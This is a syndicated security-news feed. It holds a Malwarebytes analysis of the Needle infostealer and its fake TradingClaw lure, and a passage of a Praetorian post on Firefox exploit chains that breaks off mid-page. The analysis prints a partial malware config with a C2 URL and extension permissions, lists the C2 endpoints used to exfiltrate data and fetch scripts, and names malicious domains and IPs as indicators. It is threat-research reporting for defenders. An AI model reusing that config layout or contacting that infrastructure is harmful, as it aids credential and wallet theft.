Kumar</a>. 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<p>The post <a href="https://www.sonatype.com/blog/the-time-is-now-to-prepare-for-cra-enforcement">The Time Is Now to Prepare for CRA Enforcement</a> appeared first on <a href="https://www.sonatype.com/blog">2024 Sonatype Blog</a>.</p><div class="hs-featured-image-wrapper"> <a href="https://www.sonatype.com/blog/the-time-is-now-to-prepare-for-cra-enforcement" title="" class="hs-featured-image-link"> <img decoding="async" src="https://www.sonatype.com/hubfs/blog_cra_enforcements.jpg" alt="Image of a network of hexagon shapes each containing different icons, one with a checkmark, one with a checkbox, one with a lock, one with a human formone with a circle of stars." class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"> </a> </div><p style="background-color: #ffffff;">When t<span style="text-decoration: none;">he </span><a href="https://www.sonatype.com/resources/guides/eu-cyber-resilience-act-guide" style="text-decoration: none;">EU Cyber Resilience Act (CRA)</a><span style="text-decoration: none;"> wa</span>s introduced into law in 2024, it represented one of the most significant regulatory shifts we’ve seen anywhere in the world with implications for how organizations build, ship, and maintain software. It establishes cybersecurity requirements for hardware and software products sold within the European Union or produced by organizations operating in the EU, and is among the first international legislation focused on cybersecurity requirements. It was also par<span style="text-decoration: none;">t of a </span><a href="https://www.sonatype.com/resources?category=158041693505" style="text-decoration: none;">wave of global regulations</a><span style="text-decoration: none;"> th</span>at put the security of software supply chains in the spotlight.</p><p><img decoding="async" src="https://track.hubspot.com/__ptq.gif?a=1958393&amp;k=14&amp;r=https%3A%2F%2Fwww.sonatype.com%2Fblog%2Fthe-time-is-now-to-prepare-for-cra-enforcement&amp;bu=https%253A%252F%252Fwww.sonatype.com%252Fblog&amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/the-time-is-now-to-prepare-for-cra-enforcement/" data-a2a-title="The Time Is Now to Prepare for CRA Enforcement"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fthe-time-is-now-to-prepare-for-cra-enforcement%2F&amp;linkname=The%20Time%20Is%20Now%20to%20Prepare%20for%20CRA%20Enforcement" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fthe-time-is-now-to-prepare-for-cra-enforcement%2F&amp;linkname=The%20Time%20Is%20Now%20to%20Prepare%20for%20CRA%20Enforcement" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fthe-time-is-now-to-prepare-for-cra-enforcement%2F&amp;linkname=The%20Time%20Is%20Now%20to%20Prepare%20for%20CRA%20Enforcement" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fthe-time-is-now-to-prepare-for-cra-enforcement%2F&amp;linkname=The%20Time%20Is%20Now%20to%20Prepare%20for%20CRA%20Enforcement" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fthe-time-is-now-to-prepare-for-cra-enforcement%2F&amp;linkname=The%20Time%20Is%20Now%20to%20Prepare%20for%20CRA%20Enforcement" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.sonatype.com/blog">2024 Sonatype Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Aaron Linskens">Aaron Linskens</a>. Read the original post at: <a href="https://www.sonatype.com/blog/the-time-is-now-to-prepare-for-cra-enforcement">https://www.sonatype.com/blog/the-time-is-now-to-prepare-for-cra-enforcement</a> </p>

<p>The post <a href="https://www.malwarebytes.com/blog/threat-intel/2026/04/malicious-trading-website-drop-malware-that-hands-over-your-browser-to-attackers">Malicious trading website drops malware that hands your browser to attackers</a> appeared first on <a href="https://www.malwarebytes.com/">Malwarebytes</a>.</p><p>During our threat hunting, we found a campaign using the same malware loader from <a href="https://www.malwarebytes.com/blog/threat-intel/2026/04/from-fake-proton-vpn-sites-to-gaming-mods-this-windows-infostealer-is-everywhere)" rel="noreferrer noopener">our previous research</a> to deliver a different threat: <strong>Needle Stealer</strong>, data-stealing malware designed to quietly harvest sensitive information from infected devices, including browser data, login sessions, and cryptocurrency wallets.</p><p>In this case, attackers used a website promoting a tool called <strong>TradingClaw</strong> (<code>tradingclaw[.]pro</code>), which claims to be an AI-powered assistant for TradingView. </p><p>TradingView is a legitimate platform used by traders to analyze financial markets, but this fake TradingClaw site is not part of TradingView, nor is it related to the legitimate startup <code>tradingclaw[.]chat</code>. Instead, it’s being used here as a lure to trick people into downloading malware.</p><h2 class="wp-block-heading" id="h-what-is-needle-stealer">What is Needle Stealer?</h2><p>Needle is a modular infostealer written in Golang. In simple terms, that means it’s built in pieces, so attackers can turn features on or off depending on what they want to steal.</p><p>According to its control panel, Needle includes:</p><ul class="wp-block-list"> <li><strong>Needle Core</strong>: The main component, with features like form grabbing (capturing data you enter into websites) and clipboard hijacking</li> <li><strong>Extension module</strong>: Controls browsers, redirects traffic, injects scripts, and replaces downloads</li> <li><strong>Desktop wallet spoofer</strong>: Targets cryptocurrency wallet apps like Ledger, Trezor, and Exodus</li> <li><strong>Browser wallet spoofer</strong>: Targets browser-based wallets like MetaMask and Coinbase, including attempts to extract seed phrases</li> </ul><p>The panel also shows a “coming soon” feature to generate fake Google or Cloudflare-style pages, suggesting the attackers plan to expand into more advanced phishing techniques.</p><figure class="wp-block-image aligncenter size-full"><img decoding="async" loading="lazy" width="778" height="488" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-Needle-Panel.png" alt="Needle Stealer panel" class="wp-image-402735"><figcaption class="wp-element-caption"><em>Needle Stealer panel</em></figcaption></figure><p id="h-in-this-blog-post-we-analyze-the-distribution-of-the-stealer-through-a-fake-website-related-to-an-ai-service-called-tradingclaw-we-have-detected-that-the-same-stealer-is-also-distributed-by-other-malware-such-as-amadey-and-gcleaner">In this article, we analyze the distribution of the stealer through a fake website related to an AI service called <strong>TradingClaw</strong>. We have detected that the same stealer is also distributed by other malware such as Amadey and GCleaner. </p><h2 class="wp-block-heading" id="h-analysis-of-the-tradingclaw-campaign">Analysis of the TradingClaw campaign</h2><p>In this campaign, the malware is distributed through a fake website advertising TradingClaw as an AI trading tool.</p><figure class="wp-block-image aligncenter size-full"><img decoding="async" loading="lazy" width="972" height="522" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-1.jpeg" alt="Malicious TradingClaw website" class="wp-image-402739"><figcaption class="wp-element-caption"><em>Malicious TradingClaw website</em></figcaption></figure><p>The site itself behaves selectively. In some cases, visitors are shown the fake TradingClaw page, while in others they are redirected to a different site (<code>studypages[.]com</code>). This kind of filtering is commonly used by attackers to avoid detection and only show the malicious content to intended targets. Search engines, for example, see the Studypages version:</p><figure class="wp-block-image aligncenter size-large"><img decoding="async" loading="lazy" height="205" width="1024" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-studypages.png?w=1024" alt="Studypages fake page" class="wp-image-402741"><figcaption class="wp-element-caption"><em>Google results shows the Studypages fake page</em></figcaption></figure><p>If a user proceeds, they are prompted to download a ZIP file. This file contains the first stage of the infection chain.</p><p>Like in the previous campaign, the attack relies on a technique called DLL hijacking. In simple terms, this means the malware disguises itself as a legitimate file that a trusted program will load automatically. When the program runs, it unknowingly executes the malicious code instead.</p><p>In this case, the DLL loader (named <code>iviewers.dll</code>) is executed first. It then loads a second-stage DLL, which ultimately injects the Needle Stealer into a legitimate Windows process (<code>RegAsm.exe</code>) using a technique known as process hollowing.</p><figure class="wp-block-image aligncenter size-large"><img decoding="async" loading="lazy" height="308" width="1024" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-RegAsmprocess.png?w=1024" alt="Needle Stealer injected in RegAsm.exe process" class="wp-image-402746"><figcaption class="wp-element-caption"><em>Needle Stealer injected in RegAsm.exe process</em></figcaption></figure><p>The stealer is developed in Golang, and most of the functions are implemented in the “ext” package. </p><figure class="wp-block-image aligncenter size-full"><img decoding="async" loading="lazy" width="345" height="533" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-exepackage.png" alt="Part of the “exe” package" class="wp-image-402747"><figcaption class="wp-element-caption"><em>Part of the “exe” package</em></figcaption></figure><h2 class="wp-block-heading">What the malware does</h2><p>Once installed, the Needle core module can:</p><ul class="wp-block-list"> <li>Take screenshots of the infected system</li> <li>Steal browser data, including history, cookies, and saved information</li> <li>Extract data from apps like Telegram and FTP clients</li> <li>Collect files such as .txt documents and wallet data</li> <li>Steal cryptocurrency wallet information</li> </ul><p>One of the more concerning features is its ability to install malicious browser extensions.</p><h2 class="wp-block-heading">Malicious browser extensions</h2><p>The stealer also supports the distribution of malicious browser extensions, giving attackers a powerful way to take control of the victim’s browser.</p><p>We identified multiple variations of these extensions, each with slightly different file structures and components. Behind the scenes, the malware uses built-in Golang features to unpack a hidden ZIP archive (often named <code>base.zip</code> or <code>meta.zip</code>) that contains the extension files, along with a configuration file (<code>cfg.json</code>). </p><p>Partial <code>cfg.json</code> config file:</p><pre class="wp-block-code"><code>{ "extension_host": {}, "api_key": "… "server_url": "https://C2/api/v2", "self_destruct": true, "base_extension": true, "ext_manifest": { "account_extension_type": 0, "active_permissions": { "api": [ "history", "notifications", "storage", "tabs", "webNavigation", "declarativeNetRequest", "scripting", "declarativeNetRequestWithHostAccess", "sidePanel" ], "explicit_host": [ "&lt;all_urls&gt;" ], "manifest_permissions": [], "scriptable_host": [ "&lt;all_urls&gt;" ] }, "commands": { "_execute_action": { "was_assigned": true } }, …</code></pre><p class="has-text-align-center" style="font-size:16px"> </p><p>This configuration file is key. It tells the malware where to send stolen data (the command-and-control server), which malicious extension to install, and which features to enable.</p><p>The stealer extension is dropped in a random folder in the path <code>%LOCALAPPDATA%\Packages\Extensions</code>. The folder contains three main files <code>popup.js</code>, <code>content.js</code>, and <code>background.js</code>.   </p><figure class="wp-block-image aligncenter size-full"><img decoding="async" loading="lazy" width="990" height="355" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-extension.png" alt="The malicious extension dropped" class="wp-image-402758"><figcaption class="wp-element-caption"><em>The malicious extension dropped</em></figcaption></figure><p>The extensions analyzed have Google-related names.</p><figure class="wp-block-image aligncenter size-full"><img decoding="async" loading="lazy" width="895" height="736" src="https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/04/trading-claw-GO-translate.png" alt="The fake malicious extension on Edge Browser" class="wp-image-402759"><figcaption class="wp-element-caption"><em>The fake malicious extension on Edge Browser</em></figcaption></figure><h2 class="wp-block-heading" id="h-what-the-malicious-extensions-can-do">What the malicious extensions can do</h2><p>The extension gives attackers near full control over the browser, with capabilities that go far beyond typical malware.</p><p>It can:</p><ul class="wp-block-list"> <li><strong>Connect to a remote server</strong> using a built-in API key and regularly check in for instructions. It can also switch to backup domains if the main server goes offline.</li> <li><strong>Generate a unique ID</strong> to track the infected user over time.</li> <li><strong>Collect full browsing history</strong> and send it to a remote server (<code>/upload</code>).</li> <li><strong>Monitor what you’re doing in real time</strong>, including which sites you visit, and apply attacker-controlled redirect rules. This allows it to silently send you to different websites or alter what you see on a page, including injecting or hiding content.</li> <li><strong>Intercept downloads</strong>, cancel legitimate files, and replace them with malicious ones from attacker-controlled servers.</li> <li><strong>Inject scripts directly into web pages</strong>, enabling further data theft or manipulation.</li> <li><strong>Display fake browser notifications</strong> with attacker-controlled text and images.</li> </ul><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading">How it communicates with attackers</h2><p>The stealer and its extension communicate with command-and-control (C2) servers using several API endpoints. These are essentially different “channels” used for specific tasks:</p><ul class="wp-block-list"> <li><code>/backup-domains/active</code>—retrieves backup servers to stay connected if the main one is blocked</li> <li><code>/upload</code>—sends stolen data back to the attackers</li> <li><code>/extension</code>—receives instructions for redirects, downloads, and notifications</li> <li><code>/scripts</code>—downloads malicious code to inject into web pages</li> </ul><h2 class="wp-block-heading">How to stay safe</h2><p>Scammers are increasingly using AI-themed tools to make fake websites look legitimate. In this case, a supposed “AI trading assistant” was used to trick people into installing malware.</p><p>To reduce your risk:</p><ul class="wp-block-list"> <li><strong>Download software only from official websites</strong>. If a tool claims to work with a well-known platform, check the platform’s official site to confirm it’s real.</li> <li><strong>Check who created the file before running it</strong>. Look at the publisher name and avoid anything that looks unfamiliar or inconsistent.</li> <li><strong>Review your browser extensions regularly</strong>. Remove anything you don’t recognize, especially extensions you didn’t knowingly install.</li> </ul><h2 class="wp-block-heading" id="h-what-to-do-if-you-think-you-ve-been-affected">What to do if you think you’ve been affected</h2><p>If you think you may have downloaded this infostealer:</p><ul class="wp-block-list"> <li>Check EDR and firewall logs for communications with the C2s listed in the IOCs part.</li> <li>From a different, clean device, sign out of every active session on your important accounts: Google, Microsoft 365, any banking portal, GitHub, Discord, Telegram, Steam, and your crypto exchange. Change all passwords and enable 2FA for accounts you have accessed from this machine.</li> <li>Check the folder <code>%LOCALAPPDATA%\Packages\Extensions</code> and suspicious browser extensions.</li> <li>If you have cryptocurrency wallets on the machine, move the funds from a clean device immediately. This is what these operators monetize first.</li> <li><a href="https://www.malwarebytes.com/solutions/virus-scanner" rel="noreferrer noopener">Run a full scan with Malwarebytes</a>.</li> </ul><h2 class="wp-block-heading" id="h-indicators-of-compromise-iocs">Indicators of Compromise (IOCs)</h2><p><strong>HASH</strong></p><p><code>95dcac62fc15e99d112d812f7687292e34de0e8e0a39e4f12082f726fa1b50ed</code></p><p><code>0d10a6472facabf7d7a8cfd2492fc990b890754c3d90888ef9fe5b2d2cca41c0</code></p><p><strong>Domains</strong></p><p><code>Tradingclaw[.]pro</code>: fake website</p><p><code>Chrocustumapp[.]com</code>: related to malicious extension</p><p><code>Chrocustomreversal[.]com</code>: related to malicious extension</p><p><code>google-services[.]cc</code>: related to malicious extension</p><p><code>Coretest[.]digital</code>: C2 panel</p><p><code>Reisen[.]work</code>: C2 panel</p><p><strong>IPs</strong></p><p><code>178[.]16[.]55[.]234</code>: C2 panel</p><p><code>185[.]11[.]61[.]149</code>: C2 panel</p><p><code>37[.]221[.]66[.]27</code>: C2 panel</p><p><code>2[.]56[.]179[.]16</code>: C2 panel</p><p><code>178[.]16[.]54[.]109</code>: C2 panel</p><p><code>37[.]221[.]66[.]27</code>: C2 panel</p><p><code>209[.]17[.]118[.]17</code>: C2 panel</p><p><code>162[.]216[.]5[.]130</code>: C2 panel</p><hr class="wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide"><p><strong>We don’t just report on threats—we remove them</strong></p><p>Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by <a href="https://www.malwarebytes.com/for-home">downloading Malwarebytes today</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/malicious-trading-website-drops-malware-that-hands-your-browser-to-attackers/" data-a2a-title="Malicious trading website drops malware that hands your browser to attackers"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmalicious-trading-website-drops-malware-that-hands-your-browser-to-attackers%2F&amp;linkname=Malicious%20trading%20website%20drops%20malware%20that%20hands%20your%20browser%20to%20attackers" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmalicious-trading-website-drops-malware-that-hands-your-browser-to-attackers%2F&amp;linkname=Malicious%20trading%20website%20drops%20malware%20that%20hands%20your%20browser%20to%20attackers" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmalicious-trading-website-drops-malware-that-hands-your-browser-to-attackers%2F&amp;linkname=Malicious%20trading%20website%20drops%20malware%20that%20hands%20your%20browser%20to%20attackers" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmalicious-trading-website-drops-malware-that-hands-your-browser-to-attackers%2F&amp;linkname=Malicious%20trading%20website%20drops%20malware%20that%20hands%20your%20browser%20to%20attackers" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fmalicious-trading-website-drops-malware-that-hands-your-browser-to-attackers%2F&amp;linkname=Malicious%20trading%20website%20drops%20malware%20that%20hands%20your%20browser%20to%20attackers" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.malwarebytes.com/">Malwarebytes</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Malwarebytes">Malwarebytes</a>. Read the original post at: <a href="https://www.malwarebytes.com/blog/threat-intel/2026/04/malicious-trading-website-drop-malware-that-hands-over-your-browser-to-attackers">https://www.malwarebytes.com/blog/threat-intel/2026/04/malicious-trading-website-drop-malware-that-hands-over-your-browser-to-attackers</a> </p>

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<div data-elementor-type="wp-post" data-elementor-id="12030" class="elementor elementor-12030" data-elementor-post-type="post"> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-4379983 e-con-full e-flex e-con e-parent" data-id="4379983" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-a5557b0 elementor-widget elementor-widget-text-editor" data-id="a5557b0" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <h2><strong>When 500,000 Findings Hide 14 Real Threats </strong></h2> <p>Modern enterprises ingest vulnerability data from dozens of sources: endpoint detection and response platforms, vulnerability scanners, cloud security posture tools, container image scanners. A large organization can easily accumulate hundreds of thousands of individual findings. The standard response is to sort by CVSS score, filter for criticals, and start patching. But vulnerability management needs to shift from CVSS-based severity ranking to contextual exploit chain analysis — evaluating how individual vulnerabilities combine into realistic attack paths.</p> <p>The problem is that CVSS scores evaluate vulnerabilities in isolation. A renderer vulnerability in a web browser is serious, but the browser sandbox contains it. A sandbox escape is dangerous, but it requires an initial foothold to exploit. Neither finding alone tells you the full story. But if the same endpoint is vulnerable to both, an attacker can chain them together into a zero click, full host compromise with no user interaction beyond visiting a webpage. That combined risk is qualitatively different from anything either CVE represents on its own.</p> <p>Recently, we used Praetorian Guard to analyze a customer environment containing roughly 500,000 vulnerability findings ingested from the customer’s CrowdStrike deployment. Guard integrates with over 60 third party security tools, including CrowdStrike, Wiz, Tenable, Qualys, Rapid7, Orca, and Microsoft Defender, pulling vulnerability data from across the customer’s security stack into a single platform.</p> <p>Using Guard’s vulnerability data and CVE research capabilities, we linked related findings into exploit chains and correlated them with threat intelligence on active exploitation. The vast majority of the 500,000 findings were noise: real vulnerabilities, but ones that were either unexploitable in context, already mitigated by compensating controls, or low impact in isolation. The signal-to-noise ratio was roughly 35,000 to 1. The analysis identified 14 endpoints where an attacker could realistically achieve full host compromise through browser-based drive-by attacks: one chain confirmed in a state-sponsored campaign, the other combining a Pwn2Own-demonstrated exploit with a sandbox escape from the same vulnerability class exploited in a separate APT operation.</p> <p>This post walks through the methodology and explains why exploit chain analysis surfaces risks that traditional CVSS-based prioritization misses.</p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-71cc2d7 e-con-full e-flex e-con e-parent" data-id="71cc2d7" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-2cc7527 elementor-widget elementor-widget-heading" data-id="2cc7527" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Why Individual CVEs Lie About Risk</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-b5cfa25 e-con-full e-flex e-con e-parent" data-id="b5cfa25" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-46996ad elementor-widget elementor-widget-text-editor" data-id="46996ad" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>The scale of the problem starts with the numbers. In 2025, over 48,000 CVEs were published, roughly 130 per day, bringing the cumulative total since 1999 above 300,000. Of those 300,000+, CISA’s Known Exploited Vulnerabilities catalog contains approximately 1,500 entries: less than half a percent of all CVEs ever published have been confirmed exploited in the wild. The vast majority of vulnerabilities that receive a CVE and a CVSS score will never be used in an actual attack.</p> <h4>Example: The Linux Kernel CVE Flood</h4> <p>After the kernel team became a CVE Numbering Authority in 2024, they began assigning a CVE to nearly every bug fix regardless of exploitability. The result was over 3,600 kernel CVEs in 2025 alone, roughly 10 per day. Of those, seven were added to CISA’s KEV catalog as confirmed exploited in the wild. A security team that triages every critical kernel CVE with equal urgency is spending most of its time on vulnerabilities that no attacker will ever use.</p> <h4>How Browser Sandboxing Works</h4> <p>Every major browser uses a multi-process model where the renderer, the component that parses HTML, executes JavaScript, and handles layout, runs in a sandboxed child process with heavily restricted access to the operating system. This is the browser’s primary security boundary.</p> <p>A vulnerability in the renderer, like an out-of-bounds write in the JavaScript engine, gives an attacker code execution inside the content process. That sounds bad, but the sandbox means they can read and write memory within that process and not much else. They cannot touch the filesystem, spawn new processes, or interact with the network beyond what the renderer is already allowed to do.</p> <p>A sandbox escape, by contrast, allows a compromised child process to break out of isolation and execute code at the user’s full privilege level on the host operating system. But a sandbox escape is useless without an initial foothold inside the sandbox. You need to already be running code in the content process before you can exploit an IPC handle leak or a logic error in the broker process.</p> <h4>Why Scanners Miss the Combined Risk</h4> <p>This is the fundamental problem with evaluating these vulnerabilities individually. Your vulnerability scanner or EDR platform reports the renderer bug as critical. It reports the sandbox escape as critical. Both assessments are technically correct based on the CVSS scoring methodology.</p> <p>But neither report tells you that the two findings on the same endpoint combine into something far worse than either one alone: a zero-click exploit chain that gives an attacker full code execution on the host operating system the moment a user visits a malicious page.</p> <h4>Chrome vs. Firefox: Not All Browsers Chain the Same Way</h4> <p>Modern Chrome has introduced an additional mitigation that makes this problem even more nuanced. Chrome’s V8 engine now includes a heap sandbox that isolates the V8 heap so that memory corruption from a JavaScript engine bug cannot spread to other parts of the process memory. In practice, this means that exploiting Chrome in 2025 often requires three vulnerabilities rather than two: a V8 type confusion for initial heap corruption, a <a href="https://www.youtube.com/watch?v=5otAw81AHQ0">V8 sandbox</a> bypass to escape the heap cage, and then an OS-level sandbox escape (typically via a Mojo IPC logic bug) to reach the operating system.</p> <p>Firefox’s SpiderMonkey engine does not have an equivalent heap isolation mechanism, which means the two-stage model described above (renderer RCE directly to OS sandbox escape) remains sufficient for a complete chain. This architectural difference is one reason why the Firefox chains we identified are particularly concerning: the attack surface requires fewer links in the chain to achieve full compromise.</p> <p> </p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-22e9862 e-con-full e-flex e-con e-parent" data-id="22e9862" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-109d2b5 elementor-widget elementor-widget-image" data-id="109d2b5" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <img fetchpriority="high" decoding="async" width="1120" height="800" src="https://www.praetorian.com/wp-content/uploads/2026/04/chrome-exploit-chain-renderer-to-host-compromise-via-v8-sand-1.webp" class="attachment-full size-full wp-image-12027" alt="Chrome exploit chain renderer to host compromise via V8 sandbox escape" srcset="https://www.praetorian.com/wp-content/uploads/2026/04/chrome-exploit-chain-renderer-to-host-compromise-via-v8-sand-1.webp 1120w, https://www.praetorian.com/wp-content/uploads/2026/04/chrome-exploit-chain-renderer-to-host-compromise-via-v8-sand-1-300x214.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/04/chrome-exploit-chain-renderer-to-host-compromise-via-v8-sand-1-1024x731.webp 1024w, https://www.praetorian.com/wp-content/uploads/2026/04/chrome-exploit-chain-renderer-to-host-compromise-via-v8-sand-1-768x549.webp 768w" sizes="(max-width: 1120px) 100vw, 1120px"> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-6eac46d e-con-full e-flex e-con e-parent" data-id="6eac46d" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-8d27532 elementor-widget elementor-widget-heading" data-id="8d27532" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">The Chains: Two Distinct Paths to Full Compromise</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-16585cf e-con-full e-flex e-con e-parent" data-id="16585cf" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-8f5854a elementor-widget elementor-widget-text-editor" data-id="8f5854a" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>This analysis did not surface a single exploit chain. It surfaced two, sharing a common sandbox escape but using different renderer vulnerabilities as the initial foothold. One chain is a confirmed APT weapon. The other combines independently proven components: a Pwn2Own-demonstrated renderer exploit and a sandbox escape whose Chrome equivalent was deployed by a state-sponsored group. A subset of endpoints were vulnerable to both chains simultaneously.</p> <h4><strong>Chain 1: CVE-2025-4918 + CVE-2025-2857 (Pwn2Own Berlin)</strong></h4> <p><strong>CVE-2025-4918</strong> is an out-of-bounds read/write vulnerability in Firefox’s JavaScript engine, specifically in the resolution of Promise objects. An attacker can trigger the bug by serving malicious JavaScript from a webpage. When a victim visits the page, the vulnerability allows the attacker to execute arbitrary code inside the Firefox content process. No clicks, downloads, or prompts are required. This vulnerability was demonstrated at Pwn2Own Berlin 2025 and affects Firefox versions prior to 138.0.4.</p> <p><strong>CVE-2025-2857</strong> is a sandbox escape in Firefox’s inter process communication (IPC) code on Windows. A compromised child process can cause the parent browser process to return an overly powerful handle, allowing the attacker to break out of browser isolation and execute code at the user’s full privilege level on the underlying operating system. Mozilla discovered this vulnerability after Google patched a nearly identical flaw in Chrome (CVE-2025-2783), which had been actively exploited in the wild. CVE-2025-2857 carries a CVSS score of 10.0 and affects Firefox versions prior to 136.0.4.</p> <p>Chained together, these two vulnerabilities allow a complete drive-by compromise: a user visits a webpage, the renderer exploit fires silently and gains code execution inside the content process, and the sandbox escape immediately elevates that access to the host operating system. The attacker has full control of the endpoint without the user ever clicking, downloading, or approving anything.</p> <h4><b>Chain 2: CVE-2024-9680 + CVE-2025-2857 / CVE-2024-49039 (RomCom)</b></h4> <p><strong>CVE-2024-9680</strong> is a use after free vulnerability in Firefox’s Animation Timeline component (Web Animations API), discovered by ESET researcher Damien Schaeffer in October 2024. Like CVE-2025-4918, it provides remote code execution inside the browser’s content process with no user interaction beyond visiting a malicious page. It was exploited as a zero day in the wild from at least October through November 2024 and carries a CVSS score of 9.8. It affects Firefox versions prior to 131.0.2.</p> <p>The second stage of this chain has two variants. The primary path uses the same CVE-2025-2857 sandbox escape described above. The alternate path uses CVE-2024-49039, a privilege escalation vulnerability in the Windows Task Scheduler (CVSS 8.8) that allows code running at low integrity inside the browser sandbox to escape to medium integrity by abusing the Task Scheduler’s RPC interface. This is confirmed in the wild chain: RomCom deployed CVE-2024-9680 paired with CVE-2024-49039 to achieve full host compromise through zero click drive-by attacks in late 2024.</p> <p>There is an important logical relationship between these two chains. CVE-2024-9680 was patched in October 2024. CVE-2025-2857 was patched in March 2025. Any host that has not patched the older renderer vulnerability is guaranteed to also be missing the newer sandbox escape patch. The presence of CVE-2024-9680 on an endpoint is therefore a strong signal that CVE-2025-2857 is also present, and our analysis confirmed this across every affected host.</p> <p> </p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-7e68f92 e-con-full e-flex e-con e-parent" data-id="7e68f92" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-ee2e604 elementor-widget elementor-widget-image" data-id="ee2e604" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <img decoding="async" width="1640" height="880" src="https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1.webp" class="attachment-full size-full wp-image-12028" alt="Firefox zero-click exploit chains two campaigns shared sandbox escape" srcset="https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1.webp 1640w, https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1-300x161.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/04/firefox-zero-click-exploit-chains-two-campaigns-shared-sandb-1-1024x549.webp 1024w, 